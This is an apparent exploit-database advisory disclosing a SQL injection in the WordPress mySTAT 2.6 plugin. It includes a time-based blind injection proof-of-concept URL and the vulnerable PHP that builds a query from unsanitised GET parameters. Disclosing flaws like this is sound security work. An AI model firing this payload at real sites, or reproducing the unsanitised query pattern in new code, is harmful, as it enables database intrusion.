WordPress Plugin mySTAT 2.6 - SQL Injection

# Exploit Title: WordPress mySTAT plugin <= 2.6 SQL Injection Vulnerability
# Date: 2011-08-28
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/mystat.2.6.zip
# Version: 2.6 (tested)
# Note: magic_quotes has to be turned off

---
PoC
---
http://www.site.com/wp-content/plugins/mystat/mystat.php?act=stat_img&d1=1&d2=-1') AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20

---------------
Vulnerable code
---------------
if(isset($_GET['act'])){
    ...
    if ($_GET['act'] == 'stat_img') {
        myStat_stat_image();
        exit();
    };
};

function myStat_stat_image(){
    ...
    if(substr($_GET['d1'],0,10)!=substr($_GET['d2'],0,10)){
        $var=$cmn->getSQL("SELECT DATE_FORMAT(date,'%d-%m-%y'),count(*),sum(count),TO_DAYS(date) FROM `%%PREFIX%%myStat_main` WHERE date > ('".$_GET['d1']."') AND date < ('".$_GET['d2']."') GROUP BY TO_DAYS(date) ORDER BY date DESC LIMIT 0,30;");